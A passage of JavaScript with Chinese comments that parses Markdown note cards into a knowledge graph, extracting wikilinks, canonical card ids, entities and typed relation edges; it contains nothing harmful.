// [[notes/00-INDEX]] → notes/00-INDEX ;純字串則原樣回。
|
||||
function stripWikilink(s) {
|
||||
const m = s.match(/^\[\[(.+?)\]\]$/);
|
||||
return m ? m[1].trim() : s;
|
||||
}
|
||||
|
||||
// --- 抽所有 inline [[wikilink]](含 header 的 ← [[notes/00-INDEX]] 與內文)---
|
||||
function extractInlineWikilinks(md) {
|
||||
const out = [];
|
||||
const re = /\[\[(.+?)\]\]/g;
|
||||
let m;
|
||||
while ((m = re.exec(md)) !== null) out.push(m[1].trim());
|
||||
return out;
|
||||
}
|
||||
|
||||
// --- 卡片 canonical id:以檔名(去副檔名)為準,對齊 `## 卡片關係` 用的 [[基名]] 慣例 ---
|
||||
export function cardCanonical(relPath) {
|
||||
const base = relPath.split('/').pop().replace(/\.md$/, '');
|
||||
return base;
|
||||
}
|
||||
|
||||
/**
|
||||
* 解析一張卡片 → { entry, nodes, triplets, meta }(尚未分段的原始產物)。
|
||||
* relPath:卡片相對 repo 根路徑(如 system-dev/wiki/cards/notes/Xxx.md)。
|
||||
* repo:如 'Leo/notes'。
|
||||
*/
|
||||
export function parseCard(md, relPath, repo = 'Leo/notes') {
|
||||
const { data: fm } = parseFrontmatter(md);
|
||||
const canonical = cardCanonical(relPath);
|
||||
const titleMatch = md.match(/^#\s+(.+)$/m);
|
||||
const title = titleMatch ? titleMatch[1].trim() : canonical;
|
||||
|
||||
// 1) 節點:## 實體 的正規名 + 別名 + gloss。
|
||||
const entities = parseEntities(md);
|
||||
|
||||
// 2) 邊:內文知識關係(實體↔實體)+ 卡片關係(卡↔卡)+ inline wikilink(卡→卡 導覽/引用)。
|
||||
const intraEdges = parseTypedEdges(sectionBody(md, '### 內文知識關係'))
|
||||
.map((e) => ({ ...e, confidence: 1.0 }));
|
||||
const cardEdges = parseTypedEdges(sectionBody(md, '### 卡片關係'))
|
||||
.map((e) => ({ ...e, confidence: 1.0 }));
|
||||
|
||||
// inline wikilink(← [[notes/00-INDEX]] 等)→ 卡→卡「連結至」邊,去重、排除自環與已被 typed 邊覆蓋者。
|
||||
const typedPairs = new Set(
|
||||
[...cardEdges].map((e) => `${e.subject} | ||||